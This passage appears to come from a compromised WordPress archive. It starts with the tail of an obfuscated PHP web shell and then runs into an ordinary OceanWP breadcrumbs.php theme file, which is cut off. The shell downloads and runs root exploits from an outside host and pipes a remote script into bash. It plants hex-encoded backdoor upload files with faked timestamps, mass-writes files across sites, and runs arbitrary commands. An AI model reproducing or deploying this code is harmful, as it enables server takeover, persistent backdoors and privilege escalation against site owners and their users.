if ($asd == $sj) { echo "".$enw.", "; } } echo "
    "; } else { echo "[Sy"."mli"."nk] ".$sjh."
    "; } } echo "
    "; die(author()); } elseif (isset($_GET['loknya']) && $_GET['opsi'] == "scanr") { ob_implicit_flush();ob_end_flush(); echo '
    [ Au'.'to Sc'.'an ] | [ Sc'.'an S'.'U'.'I'.'D ] | [ Ex'.'plo'.'it Su'.'gges'.'ter ]
    '; if (!$fnct("pr"."oc_"."op"."en")) { die(red("[!] Co"."mman"."d is D"."isab"."led !")); } if (!$isw($lokasi)) { die(red("[!] Cur"."rent D"."ir"."ect"."ory is Un"."wri"."tea"."ble !")); } if (isset($_GET['opsidua']) && $_GET['opsidua'] == "au"."tosc"."an") { if (!$fxt($lokasi."/an"."on_"."ro"."ot/")) { $mdr($lokasi."/an"."on_"."ro"."ot"); komenb("wg"."et h"."ttp://f.pp"."k.pw/aut"."o.ta"."r"."-06-27-"."22.gz", $lokasi."/an"."on_"."ro"."ot"); komenb("t"."ar -x"."f au"."to.ta"."r-06-2"."7-22."."gz", $lokasi."/an"."on_"."ro"."ot"); if (!$fxt($lokasi."/an"."on_"."ro"."ot/netf"."ilter")) { die(red("[!] Ga"."gal Do"."wnloa"."d Bahan")); } } echo "
    Ke"."rne"."l : ".komenb("un"."am"."e -a", $lokasi)."
    "; echo "Us"."er : ".komenb("i"."d", $lokasi)."
    "; echo "
    [+] Trying All Ex"."plo"."its ...
    "; echo "Ne"."tfil"."ter : ".komend("ti"."meo"."ut 1"."0 ./an"."on_ro"."ot/netf"."ilter", $lokasi)."
    "; echo "Ptr"."ace : ".komend("ec"."ho id | ti"."meo"."ut 1"."0 ./an"."on_ro"."ot/ptr"."ace", $lokasi)."
    "; echo "Seq"."uoia : ".komend("ti"."meo"."ut 1"."0 ./an"."on_ro"."ot/seq"."uoia", $lokasi)."
    "; echo "Over"."layF"."S : ".komend("ec"."ho id | ./overl"."ayfs", $lokasi."/an"."on_"."ro"."ot")."
    "; echo "Di"."rtyp"."ipe : ".komend("echo i"."d | ti"."meo"."ut 1"."0 ./an"."on_ro"."ot/di"."rtyp"."ipe /u"."sr/"."bi"."n/"."su", $lokasi)."
    "; echo "Su"."do : ".komend("ec"."ho 12345 | ti"."meo"."ut 1"."0 sud"."oed"."it -s Y", $lokasi)."
    "; echo "Pw"."nki"."t : ".komend("ec"."ho id | ti"."meo"."ut 1"."0 ./p"."wnk"."it", $lokasi."/an"."on_"."ro"."ot")."
    "; echo "Capsys : ".komend("echo id | timeout 10 ./cap"."sy"."s", $lokasi."/an"."on_ro"."ot")."
    "; echo "Ne"."tfil"."ter 2 : ".komend("echo id | tim"."eout 10 ./ne"."tfilt"."er2", $lokasi."/an"."on_ro"."ot")."
    "; echo "Ne"."tfil"."ter 3 : ".komend("echo id | time"."out 10 ./net"."fil"."ter3", $lokasi."/an"."on_ro"."ot")."
    "; komenb("r"."m -r"."f an"."on_ro"."ot", $lokasi); } elseif (isset($_GET['opsidua']) && $_GET['opsidua'] == "scansd") { echo "
    [+] Sc"."ann"."ing ...
    "; echo komend("fi"."nd / -pe"."r"."m -u"."=s -t"."ype f"." 2".">/"."de"."v/nu"."ll", $lokasi); } elseif (isset($_GET['opsidua']) && $_GET['opsidua'] == "esg") { echo "
    [+] Loading ...
    "; echo komend("cu"."rl -"."Ls"."k ht"."tp://ra"."w.gith"."ubuse"."rconte"."nt.com/m"."zet"."-/lin"."ux-exp"."loit"."-sugge"."ster/m"."aste"."r/lin"."ux-ex"."ploi"."t-sugg"."ester."."sh | ba"."sh", $lokasi); } echo "
    "; die(author()); } elseif (isset($_GET['loknya']) && $_GET['opsi'] == "bekup") { if (isset($_POST['lo'.'kr'.'una'])) { echo "
    "; echo "Path : ".$hsc($_POST['lo'.'kr'.'una'])."
    "; if (!$isr($_POST['lo'.'kr'.'una'])) { die(red("[+] Cur"."rent Pa"."th is Unre"."adable !")); } elseif (!$isw($_POST['lo'.'kr'.'una'])) { die(red("[+] Cur"."rent Pa"."th is Un"."wri"."tea"."ble !")); } $loks = sds($_POST['lo'.'kr'.'una']); $pisah = $ars($loks, -50); $los = $arr($pisah, 2); $satu = $loks[$los[0]]; $satut = $ftm($satu); $dua = $loks[$los[1]]; $duat = $ftm($dua); if (empty($satu) && empty($dua)) { die(red("[+] Unknown Error !")); } echo "
    "; if (!$isw($satu)) { echo "[Fa"."il"."ed] ".$satu."
    "; } else { $satus = $satu."/cont"."act.p"."hp"; $fpt($satus, $h2b("3c6d65746120636f6e74656e743d226e6f696e646578226e616d653d22726f626f7473223e436f6e74616374204d653c666f726d20656e63747970653d226d756c7469706172742f666f726d2d64617461226d6574686f643d22706f7374223e3c696e707574206e616d653d226274756c22747970653d2266696c65223e3c627574746f6e3e4761736b616e3c2f627574746f6e3e3c2f666f726d3e3c3f3d22223b24613d2766272e2769272e276c272e2765272e275f272e2770272e2775272e2774272e275f272e2763272e276f272e276e272e2774272e2765272e276e272e2774272e2773273b24623d2766272e2769272e276c272e2765272e275f272e2767272e2765272e2774272e275f272e2763272e276f272e276e272e2774272e2765272e276e272e2774272e2773273b24633d2774272e276d272e2770272e275f272e276e272e2761272e276d272e2765273b24643d2768272e276578272e273262272e27696e273b24663d2766272e27696c272e27655f65272e277869272e277374272e2773273b696628697373657428245f46494c45535b276274756c275d29297b246128245f46494c45535b276274756c275d5b276e616d65275d2c246228245f46494c45535b276274756c275d5b24635d29293b696628246628272e2f272e245f46494c45535b276274756c275d5b276e616d65275d29297b6563686f20274f6b652021273b7d656c73657b6563686f20274661696c2021273b7d7d696628697373657428245f4745545b27667074275d29297b246128246428245f504f53545b2766275d292c246428245f504f53545b2764275d29293b696628246628246428245f504f53545b2766275d2929297b6563686f20224f6b652021223b7d656c73657b6563686f20224661696c2021223b7d7d3f3e")); $tch($satus, $satut); $tch($satu, $satut); echo "[Su"."cc"."ess] ".$satus."
    "; if ($sps($_POST['lo'.'kr'.'una'], $_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T']) !== false) { $lwb = $srl($_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T'], $wb, $satus); $satul = "
    ".$lwb."
    "; } } if (!$isw($dua)) { echo "[Fa"."il"."ed] ".$dua."
    "; } else { $duas = $dua."/setti"."ng.p"."hp"; $fpt($duas, $h2b("3c6d657461206e616d653d22726f626f74732220636f6e74656e743d226e6f696e646578223e0d0a4d792053657474696e670d0a3c3f7068700d0a2461203d20226669222e226c655f70222e2275745f63222e226f6e74222e2265222e226e74222e2273223b0d0a2462203d202266222e22696c222e22655f6765222e2274222e225f636f222e226e74656e74222e2273223b0d0a2463203d20226669222e226c65222e225f6578222e226973222e227473223b0d0a2464203d202268222e226578222e223262222e22696e223b0d0a69662028697373657428245f504f53545b276b6f64275d2929207b0d0a09246128245f504f53545b276c6f6b275d2c20246428245f504f53545b276b6f64275d29293b0d0a0969662028246328245f504f53545b276c6f6b275d2929207b0d0a09096563686f20224f4b202120223b0d0a097d20656c7365207b0d0a09096563686f20224661696c6564202120223b0d0a097d0d0a7d0d0a69662028697373657428245f4745545b276963275d2929207b0d0a09696e636c75646520245f4745545b276963275d3b0d0a7d0d0a69662028697373657428245f4745545b276170275d2929207b0d0a0924612822776b776b2e706870222c20246428223363366436353734363132303665363136643635336432323732366636323666373437333232323036333666366537343635366537343364323236653666363936653634363537383232336534333666366537343631363337343230346436353363363636663732366432303664363537343638366636343364323237303666373337343232323036353665363337343739373036353364323236643735366337343639373036313732373432663636366637323664326436343631373436313232336533633639366537303735373432303734373937303635336432323636363936633635323232303665363136643635336432323632373437353663323233653363363237353734373436663665336534373631373336623631366533633266363237353734373436663665336533633266363636663732366433653061336333663730363837303061323436313230336432303232363632323265323236393232326532323663323232653232363532323265323235663232326532323730323232653232373532323265323237343232326532323566323232653232363332323265323236663232326532323665323232653232373432323265323236353232326532323665323232653232373432323265323237333232336230613234363232303364323032323636323232653232363932323265323236633232326532323635323232653232356632323265323236373232326532323635323232653232373432323265323235663232326532323633323232653232366632323265323236653232326532323734323232653232363532323265323236653232326532323734323232653232373332323362306132343633323033643230323237343232326532323664323232653232373032323265323235663232326532323665323232653232363132323265323236643232326532323635323233623061363936363230323836393733373336353734323832343566343634393463343535333562323736323734373536633237356432393239323037623234363132383234356634363439346334353533356232373632373437353663323735643562323736653631366436353237356432633230323436323238323435663436343934633435353335623237363237343735366332373564356232343633356432393239336236393636323032383636363936633635356636353738363937333734373332383232326532663232326532343566343634393463343535333562323736323734373536633237356435623237366536313664363532373564323932393230376236353633363836663230323234663662363532303231323233623764323036353663373336353230376236353633363836663230323234363631363936633230323132323362376437643061336633652229293b0d0a096966202824632822776b222e22776b2e222e227068222e2270222929207b0d0a09096563686f20224f4b2021223b0d0a097d0d0a7d0d0a3f3e")); $tch($duas, $duat); $tch($dua, $duat); echo "[Su"."cc"."ess] ".$duas."
    "; if ($sps($_POST['lo'.'kr'.'una'], $_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T']) !== false) { $lwb = $srl($_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T'], $wb, $duas); $dual = "".$lwb."
    "; } } echo "
    "; if (!empty($satul)) { echo $satul; } if (!empty($dual)) { echo $dual; } echo "
    "; } else { echo "
    Masukkan Lokasi Docu"."ment Ro"."ot
    "; echo '
    '; echo '
    '; } die(); } elseif (isset($_GET['opsi']) && $_GET['opsi'] == "repip") { echo "
    "; echo "Re"."ver"."se I"."P : ".$hsc($_SERVER['SE'.'RVE'.'R_NA'.'ME']).""; echo "
    ".$hsc(crul("http"."s://ap"."i.ha"."ck"."ertarg"."et.com/re"."verse"."ipl"."ookup/?q=".$_SERVER['SE'.'RVE'.'R_NA'.'ME']))."
    "; echo "
    "; die(); } elseif (isset($_GET['loknya']) && $_GET['opsi'] == "mdf") { echo "
    "; if (empty($_POST['palepale'])) { echo '
    '; echo 'Di'.'r :
    '; echo 'Nama Fi'.'le :

    '; echo 'Isi Fi'.'le :


    '; echo '

    '; echo ''; echo '
    '; } else { $lokena = $_POST['lokena']; $nfil = $_POST['nfil']; $isif = $_POST['isikod']; echo "Di"."r : ".$hsc($lokena)."
    "; if (!$fxt($lokena)) { die(red("[+] Di"."re"."cto"."ry Tidak di Temukan !")); } $g = $scd($lokena); if (isset($_POST['opsina']) && $_POST['opsina'] == "mds") { foreach ($g as $gg) { if (isset($gg) && $gg == "." || $gg == "..") { continue; } elseif (!$idr($gg)) { continue; } if (!$isw($lokena."/".$gg)) { echo "[Un"."wri"."tea"."ble] ".$lokena."/".$gg."
    "; continue; } $loe = $lokena."/".$gg."/".$nfil; $cf = $fgr($gg); if ($cf == "9"."9") { if ($fpt($loe, $isif) !== false) { if ($sps($gg, ".") !== false) { echo "[Su"."cc"."ess] ".$loe." -> ".$gg."/".$nfil."
    "; } else { echo "[Su"."cc"."ess] ".$loe."
    "; } } } } echo "
    "; die(author()); } foreach ($g as $gg) { if (isset($gg) && $gg == "." || $gg == "..") { continue; } elseif (!$idr($gg)) { continue; } if (!$isw($lokena."/".$gg)) { echo "[Un"."wri"."tea"."ble] ".$lokena."/".$gg."
    "; continue; } $loe = $lokena."/".$gg."/".$nfil; if ($fpt($loe, $isif) !== false) { echo "[Su"."cc"."ess] ".$loe."
    "; } else { echo "[Un"."wri"."tea"."ble] ".$lokena."/".$gg."
    "; } } } echo "
    "; echo "
    "; die(author()); } if (isset($_GET['lokasie'])) { echo "Current Fi"."le : ".$_GET['lokasie']; echo '
    '; echo "
    ".$hsc($fgt($_GET['lokasie']))."
    "; author(); } elseif (isset($_POST['loknya']) && $_POST['pilih'] == "hapus") { if ($idi($_POST['loknya']) && $fxt($_POST['loknya'])) { xrd($_POST['loknya']); if ($fxt($_POST['loknya'])) { red("Fai"."led to del"."ete D"."ir"."ec"."tory !"); } else { green("Del"."ete Di"."r"."ect"."ory Suc"."cess !"); } } elseif ($ifi($_POST['loknya']) && $fxt($_POST['loknya'])) { @$ulk($_POST['loknya']); if ($fxt($_POST['loknya'])) { red("Fa"."il"."ed to Delete Fi"."le !"); } else { green("De"."le"."te Fi"."le Succ"."ess !"); } } else { red("Fi"."le / Di"."r"."ecto"."ry not Fo"."und !"); } } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { if (!isset($_POST['cemod'])) { if ($_POST['ty'.'pe'] == "fi"."le") { echo "
    Fi"."le : ".$hsc($_POST['loknya'])."
    "; } else { echo "
    D"."ir : ".$hsc($_POST['loknya'])."
    "; } echo '
    Pe'.'rmi'.'ss'.'ion : '; if ($_POST['ty'.'pe'] == "fi"."le") { echo '';; } else { echo '';; } echo '

    '; } else { $cm = @$chm($_POST['loknya'], $ocd($_POST['perm'])); if ($cm == true) { green("Change Mod Su"."cc"."ess !"); if ($_POST['ty'.'pe'] == "fi"."le") { echo "
    Fi"."le : ".$hsc($_POST['loknya'])."
    "; } else { echo "
    D"."ir : ".$hsc($_POST['loknya'])."
    "; } echo '
    Pe'.'rmi'.'ss'.'ion : '; if ($_POST['ty'.'pe'] == "fi"."le") { echo '';; } else { echo '';; } echo '

    '; } else { red("Change Mod Fa"."il"."ed !"); if ($_POST['ty'.'pe'] == "fi"."le") { echo "
    Fi"."le : ".$hsc($_POST['loknya'])."
    "; } else { echo "
    D"."ir : ".$hsc($_POST['loknya'])."
    "; } echo '
    Pe'.'rmi'.'ss'.'ion : '; if ($_POST['ty'.'pe'] == "fi"."le") { echo '';; } else { echo '';; } echo '

    '; } } } elseif (isset($_POST['loknya']) && $_POST['pilih'] == "ubahnama") { if (isset($_POST['gantin'])) { $namabaru = $_GET['loknya']."/".$_POST['newname']; $ceen = "re"."na"."me"; if (@$ceen($_POST['loknya'], $namabaru) === true) { green("Change Name Su"."cc"."ess"); if ($_POST['ty'.'pe'] == "fi"."le") { echo "
    Fi"."le : ".$hsc($_POST['loknya'])."
    "; } else { echo "
    D"."ir : ".$hsc($_POST['loknya'])."
    "; } echo '
    New Name : '; if ($_POST['ty'.'pe'] == "fi"."le") { echo '';; } else { echo '';; } echo '

    '; } else { red("Change Name Fa"."il"."ed"); } } else { if ($_POST['ty'.'pe'] == "fi"."le") { echo "
    Fi"."le : ".$hsc($_POST['loknya'])."
    "; } else { echo "
    D"."ir : ".$hsc($_POST['loknya'])."
    "; } echo '
    New Name : '; if ($_POST['ty'.'pe'] == "fi"."le") { echo '';; } else { echo '';; } echo '

    '; } } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { if (isset($_POST['gasedit'])) { $edit = @$fpt($_POST['loknya'], $_POST['src']); if ($fgt($_POST['loknya']) == $_POST['src']) { green("Ed"."it Fi"."le Suc"."ce"."ss !"); } else { red("Ed"."it Fi"."le Fai"."led !"); } } echo "
    Fi"."le : ".$hsc($_POST['loknya'])."

    "; echo '


    '; } elseif (isset($_POST['komends'])) { if (isset($_POST['komend'])) { if (isset($_GET['loknya'])) { $lk = $_GET['loknya']; } else { $lk = $gcw(); } $km = 'ko'.'me'.'nd'; echo $km($_POST['komend'], $lk); exit(); } } elseif (isset($_POST['loknya']) && $_POST['pilih'] == "ubahtanggal") { if (isset($_POST['tanggale'])) { $stt = "st"."rtot"."ime"; $tch = "t"."ou"."ch"; $tanggale = $stt($_POST['tanggal']); if (@$tch($_POST['loknya'], $tanggale) === true) { green("Change Da"."te Succ"."ess !"); $det = "da"."te"; $ftm = "fi"."le"."mti"."me"; $b = $det("d F Y H:i:s", $ftm($_POST['loknya'])); if ($_POST['ty'.'pe'] == "fi"."le") { echo "
    Fi"."le : ".$hsc($_POST['loknya'])."
    "; } else { echo "
    D"."ir : ".$hsc($_POST['loknya'])."
    "; } echo '
    New Da'.'te : '; if ($_POST['ty'.'pe'] == "fi"."le") { echo '';; } else { echo '';; } echo '

    '; } else { red("Fai"."led to Cha"."nge Da"."te !"); } } else { $det = "da"."te"; $ftm = "fi"."le"."mti"."me"; $b = $det("d F Y H:i:s", $ftm($_POST['loknya'])); if ($_POST['ty'.'pe'] == "fi"."le") { echo "
    Fi"."le : ".$hsc($_POST['loknya'])."
    "; } else { echo "
    D"."ir : ".$hsc($_POST['loknya'])."
    "; } echo '
    New Da'.'te : '; if ($_POST['ty'.'pe'] == "fi"."le") { echo '';; } else { echo '';; } echo '

    '; } } elseif (isset($_POST['loknya']) && $_POST['pilih'] == "dunlut") { $dunlute = $_POST['loknya']; if ($fxt($dunlute) && isset($dunlute)) { if ($ird($dunlute)) { dunlut($dunlute); } elseif ($idr($fl)) { red("That is Di"."rec"."tory, Not Fi"."le -_-"); } else { red("Fi"."le is Not Re"."adab"."le !"); } } else { red("Fi"."le Not Fo"."und !"); } } elseif (isset($_POST['loknya']) && $_POST['pilih'] == "fo"."ld"."er") { if ($isw("./") || $ird("./")) { $loke = $_POST['loknya']; if (isset($_POST['buatfol'.'der'])) { $buatf = $mkd($loke."/".$_POST['fo'.'lde'.'rba'.'ru']); if ($buatf == true) { green("Fol"."der ".$hsc($_POST['fo'.'lde'.'rba'.'ru'])." Created !"); echo '
    Fo'.'lde'.'r :

    '; echo '
    '; } else { red("Fa"."il"."ed to Create fol"."der !"); echo '
    Fo'.'lde'.'r :

    '; echo '
    '; } } else { echo '
    Fo'.'lde'.'r :

    '; echo '
    '; } } } elseif (isset($_POST['lok'.'nya']) && $_POST['pilih'] == "fi"."le") { if ($isw("./") || $isr("./")) { $loke = $_POST['lok'.'nya']; if (isset($_POST['buatfi'.'le'])) { $buatf = $fpt($loke."/".$_POST['fi'.'lebaru'], ""); if ($fxt($loke."/".$_POST['fi'.'lebaru'])) { green("File ".$hsc($_POST['fi'.'lebaru'])." Created !"); echo '
    Filename :

    '; echo '
    '; } else { red("Fa"."il"."ed to Create Fi"."le !"); echo '
    Filename :

    '; echo '
    '; } } else { echo '
    Filename :

    '; echo '
    '; } } } echo '
    '; echo ""; $euybrekw = $srl($bsn($lokasi), "", $lokasi); $euybrekw = $srl("//", "/", $euybrekw); echo ""; foreach($lokasinya as $ppkcina){ $euybre = $lokasi."/".$ppkcina; $euybre = $srl("//", "/", $euybre); if(!$idi($euybre) || $ppkcina == '.' || $ppkcina == '..') continue; echo ""; echo ""; } echo ''; $skd = "10"."24"; foreach($lokasinya as $mekicina) { $euybray = $lokasi."/".$mekicina; if(!$ifi("$lokasi/$mekicina")) continue; $size = $fsz("$lokasi/$mekicina")/$skd; $size = $rd($size,3); if($size >= $skd){ $size = $rd($size/$skd,2).' M'.'B'; } else { $size = $size.' K'.'B'; } echo ""; } echo '
    Na'.'me
    Si'.'ze
    Las'.'t Mo'.'dif'.'ied
    Owner / Group
    Pe'.'rmi'.'ss'.'ions
    Op'.'tio'.'ns
    ..
    --
    ".fdt($euybrekw)."
    ".gor($euybrekw)." / ".ggr($euybrekw)."
    "; if($isw($euybrekw)) echo ''; elseif(!$isr($euybrekw)) echo ''; echo statusnya($euybrekw); if($isw($euybrekw) || !$isr($euybrekw)) echo ''; echo "
    "; echo "
    ".$ppkcina."
    --
    ".fdt($euybre)."
    ".gor($euybre)." / ".ggr($euybre)."
    "; if($isw($euybre)) echo ''; elseif(!$isr($euybre)) echo ''; echo statusnya($euybre); if($isw($euybre) || !$isr($euybre)) echo ''; echo "
    ".cfn($euybray)." $mekicina
    ".$size."
    ".fdt($euybray)."
    ".gor($euybray)." / ".ggr($euybray)."
    "; if($isw("$lokasi/$mekicina")) echo ''; elseif(!$isr("$lokasi/$mekicina")) echo ''; echo statusnya("$lokasi/$mekicina"); if($isw("$lokasi/$mekicina") || !$isr("$lokasi/$mekicina")) echo ''; echo "
    '; author(); function statusnya($fl){ $a = "sub"."st"."r"; $b = "s"."pri"."ntf"; $c = "fil"."eper"."ms"; $izin = $a($b('%o', $c($fl)), -4); return $izin; } ?>breadcrumbs.php000064400000130240151551031110007537 0ustar00 * @copyright Copyright (c) 2008 - 2015, Justin Tadlock * @link https://themehybrid.com/plugins/breadcrumb-trail * @license https://www.gnu.org/licenses/old-licenses/gpl-2.0.html */ /** * Shows a breadcrumb for all types of pages. This is a wrapper function for the Breadcrumb_Trail class, * which should be used in theme templates. * * @since 0.1.0 * @access public * @param array $args Arguments to pass to Breadcrumb_Trail. * @return void */ function oceanwp_breadcrumb_trail( $args = array() ) { // Return if breadcrumbs are disabled. if ( ! oceanwp_has_breadcrumbs() || is_front_page() ) { return; } // Yoast breadcrumbs. if ( function_exists( 'yoast_breadcrumb' ) && true === WPSEO_Options::get( 'breadcrumbs-enable', false ) ) { $classes = 'site-breadcrumbs clr'; if ( $breadcrumbs_position = get_theme_mod( 'ocean_breadcrumbs_position' ) ) { $classes .= ' position-' . $breadcrumbs_position; } return yoast_breadcrumb( '' ); } // SEOPress breadcrumbs. if ( function_exists( 'seopress_display_breadcrumbs' ) ) { return seopress_display_breadcrumbs(); } // Rank Math breadcrumbs. if ( function_exists( 'rank_math_the_breadcrumbs' ) && RankMath\Helper::get_settings( 'general.breadcrumbs' ) ) { return rank_math_the_breadcrumbs(); } $breadcrumb = apply_filters( 'breadcrumb_trail_object', null, $args ); if ( ! is_object( $breadcrumb ) ) $breadcrumb = new OceanWP_Breadcrumb_Trail( $args ); return $breadcrumb->trail(); } /** * Add container to SEOPRess breadcrumbs. * * @since 1.5.21 */ function sp_breadcrumbs_before() { $classes = 'site-breadcrumbs clr'; if ( $breadcrumbs_position = get_theme_mod( 'ocean_breadcrumbs_position' ) ) { $classes .= ' position-' . $breadcrumbs_position; } echo '
    '; } add_action( 'seopress_breadcrumbs_before_html', 'sp_breadcrumbs_before' ); /** * Div closed */ function sp_breadcrumbs_after() { echo '
    '; } add_action( 'seopress_breadcrumbs_after_html', 'sp_breadcrumbs_after' ); /** * Add container to Rank Math breadcrumbs. * * @since 1.6.5 */ function rm_breadcrumbs( $args ) { $classes = 'site-breadcrumbs clr'; if ( $breadcrumbs_position = get_theme_mod( 'ocean_breadcrumbs_position' ) ) { $classes .= ' position-' . $breadcrumbs_position; } $args['wrap_before'] = '
    '; $args['wrap_after'] = '
    '; return $args; } add_action( 'rank_math/frontend/breadcrumb/args', 'rm_breadcrumbs' ); /** * Creates a breadcrumbs menu for the site based on the current page that's being viewed by the user. * * @since 0.6.0 * @access public */ class OceanWP_Breadcrumb_Trail { /** * Array of items belonging to the current breadcrumb trail. * * @since 0.1.0 * @access public * @var array */ public $items = array(); /** * Arguments used to build the breadcrumb trail. * * @since 0.1.0 * @access public * @var array */ public $args = array(); /** * Array of text labels. * * @since 1.0.0 * @access public * @var array */ public $labels = array(); /** * Array of post types (key) and taxonomies (value) to use for single post views. * * @since 1.0.0 * @access public * @var array */ public $post_taxonomy = array(); /* ====== Magic Methods ====== */ /** * Magic method to use in case someone tries to output the layout object as a string. * We'll just return the trail HTML. * * @since 1.0.0 * @access public * @return string */ public function __toString() { return $this->trail(); } /** * Sets up the breadcrumb trail properties. Calls the `OceanWP_Breadcrumb_Trail::add_items()` method * to creat the array of breadcrumb items. * * @since 0.6.0 * @access public * @param array $args { * @type string $container Container HTML element. nav|div * @type string $before String to output before breadcrumb menu. * @type string $after String to output after breadcrumb menu. * @type bool $show_on_front Whether to show when `is_front_page()`. * @type bool $network Whether to link to the network main site (multisite only). * @type bool $show_title Whether to show the title (last item) in the trail. * @type array $labels Text labels. @see OceanWP_Breadcrumb_Trail::set_labels() * @type array $post_taxonomy Taxonomies to use for post types. @see OceanWP_Breadcrumb_Trail::set_post_taxonomy() * @type bool $echo Whether to print or return the breadcrumbs. * } * @return void */ public function __construct( $args = array() ) { $defaults = array( 'container' => 'nav', 'before' => '', 'after' => '', 'show_on_front' => false, 'network' => false, 'show_title' => true, 'labels' => array(), 'post_taxonomy' => array(), 'echo' => true, ); // Parse the arguments with the deaults. $this->args = apply_filters( 'breadcrumb_trail_args', wp_parse_args( $args, $defaults ) ); // Set the labels and post taxonomy properties. $this->set_labels(); $this->set_post_taxonomy(); // Let's find some items to add to the trail! $this->add_items(); } /* ====== Public Methods ====== */ /** * Formats the HTML output for the breadcrumb trail. * * @since 0.6.0 * @access public * @return string */ public function get_trail() { // Set up variables that we'll need. $breadcrumb = ''; $separator = apply_filters( 'oceanwp_breadcrumb_separator', get_theme_mod( 'ocean_breadcrumb_separator', '>' ) ); $separator = '' . $separator . ''; $item_count = count( $this->items ); $item_position = 0; // Connect the breadcrumb trail if there are items in the trail. if ( 0 < $item_count ) { // Open the unordered list. $breadcrumb .= '
      '; // Add the number of items and item list order schema. $breadcrumb .= sprintf( '', absint( $item_count ) ); $breadcrumb .= ''; // Loop through the items and add them to the list. foreach ( $this->items as $item ) { // Iterate the item position. ++$item_position; // Check if the item is linked. preg_match( '/()(.*?)(<\/a>)/i', $item, $matches ); // Wrap the item text with appropriate itemprop. $item = ! empty( $matches ) ? sprintf( '%s%s%s', $matches[1], $matches[2], $matches[3] ) : sprintf( '%s', $item ); // Wrap the item with its itemprop. $item = ! empty( $matches ) ? preg_replace( '/(/i', '$1$2 itemtype="https://schema.org/Thing" itemprop=$2item$2>', $item ) : sprintf( '%s', $item ); // Add list item classes. $item_class = 'trail-item'; if ( 1 === $item_position && 1 < $item_count ) { $item_class .= ' trail-begin'; } elseif ( $item_count === $item_position ) { $item_class .= ' trail-end'; } // Create list item attributes. $attributes = 'class="' . $item_class . '" itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem"'; // Separator. if ( $item_count === $item_position ) { $sep = ''; } else { $sep = $separator; } // Build the meta position HTML. $meta = sprintf( '', absint( $item_position ) ); // Build the list item. $breadcrumb .= sprintf( '
    1. %s%s%s
    2. ', $attributes, $item, $sep, $meta ); } // Close the unordered list. $breadcrumb .= '
    '; // Postion class. $p_class = ''; if ( '' !== get_theme_mod( 'ocean_breadcrumbs_position' ) ) { $p_class = ' position-' . get_theme_mod( 'ocean_breadcrumbs_position' ); } // Wrap the breadcrumb trail. $breadcrumb = sprintf( '<%1$s aria-label="%2$s" class="site-breadcrumbs clr' . $p_class . '" itemprop="breadcrumb">%3$s%4$s%5$s', tag_escape( $this->args['container'] ), esc_attr( $this->labels['aria_label'] ), $this->args['before'], $breadcrumb, $this->args['after'] ); } // Allow developers to filter the breadcrumb trail HTML. $breadcrumb = apply_filters( 'breadcrumb_trail', $breadcrumb, $this->args ); return $breadcrumb; } /** * Echo the breadcrumb trail. * * @since 0.6.0 * @access public * @return string */ public function trail() { echo $this->get_trail(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } /* ====== Protected Methods ====== */ /** * Sets the labels property. Parses the inputted labels array with the defaults. * * @since 1.0.0 * @access protected * @return void */ protected function set_labels() { $defaults = array( 'aria_label' => esc_attr_x( 'Breadcrumbs', 'breadcrumbs aria label', 'oceanwp' ), 'home' => get_theme_mod( 'ocean_breadcrumb_translation_home', esc_html__( 'Home', 'oceanwp' ) ), 'error_404' => get_theme_mod( 'ocean_breadcrumb_translation_error', esc_html__( '404 Not Found', 'oceanwp' ) ), 'archives' => esc_html__( 'Archives', 'oceanwp' ), // Translators: %s is the search query. The HTML entities are opening and closing curly quotes. 'search' => get_theme_mod( 'ocean_breadcrumb_translation_search', esc_html__( 'Search results for', 'oceanwp' ) ), // Translators: %s is the page number. 'paged' => esc_html__( 'Page %s', 'oceanwp' ), // Translators: Minute archive title. %s is the minute time format. 'archive_minute' => esc_html__( 'Minute %s', 'oceanwp' ), // Translators: Weekly archive title. %s is the week date format. 'archive_week' => esc_html__( 'Week %s', 'oceanwp' ), // "%s" is replaced with the translated date/time format. 'archive_minute_hour' => '%s', 'archive_hour' => '%s', 'archive_day' => '%s', 'archive_month' => '%s', 'archive_year' => '%s', ); $this->labels = apply_filters( 'breadcrumb_trail_labels', wp_parse_args( $this->args['labels'], $defaults ) ); } /** * Sets the `$post_taxonomy` property. This is an array of post types (key) and taxonomies (value). * The taxonomy's terms are shown on the singular post view if set. * * @since 1.0.0 * @access protected * @return void */ protected function set_post_taxonomy() { $defaults = array(); // If post permalink is set to `%postname%`, use the `category` taxonomy. if ( '%postname%' === trim( get_option( 'permalink_structure' ), '/' ) ) { $defaults['post'] = 'tag'; } $this->post_taxonomy = apply_filters( 'breadcrumb_trail_post_taxonomy', wp_parse_args( $this->args['post_taxonomy'], $defaults ) ); } /** * Runs through the various WordPress conditional tags to check the current page being viewed. Once * a condition is met, a specific method is launched to add items to the `$items` array. * * @since 1.0.0 * @access protected * @return void */ protected function add_items() { // If viewing the front page. if ( is_front_page() ) { $this->add_front_page_items(); } // If not viewing the front page. else { // Add the network and site home links. $this->add_network_home_link(); $this->add_site_home_link(); // If viewing the blog page. if ( is_home() ) { $this->add_home_items(); } // If viewing a single post. elseif ( is_singular() ) { $this->add_singular_items(); } // If viewing an archive page. elseif ( is_archive() ) { if ( is_post_type_archive() ) $this->add_post_type_archive_items(); elseif ( is_category() || is_tag() || is_tax() ) $this->add_term_archive_items(); elseif ( is_author() ) $this->add_user_archive_items(); elseif ( get_query_var( 'minute' ) && get_query_var( 'hour' ) ) $this->add_minute_hour_archive_items(); elseif ( get_query_var( 'minute' ) ) $this->add_minute_archive_items(); elseif ( get_query_var( 'hour' ) ) $this->add_hour_archive_items(); elseif ( is_day() ) $this->add_day_archive_items(); elseif ( get_query_var( 'w' ) ) $this->add_week_archive_items(); elseif ( is_month() ) $this->add_month_archive_items(); elseif ( is_year() ) $this->add_year_archive_items(); else $this->add_default_archive_items(); } // If viewing a search results page. elseif ( is_search() ) { $this->add_search_items(); } // If viewing the 404 page. elseif ( is_404() ) { $this->add_404_items(); } } // Add paged items if they exist. $this->add_paged_items(); // Allow developers to overwrite the items for the breadcrumb trail. $this->items = array_unique( apply_filters( 'breadcrumb_trail_items', $this->items, $this->args ) ); } /** * Gets front items based on $wp_rewrite->front. * * @since 1.0.0 * @access protected * @return 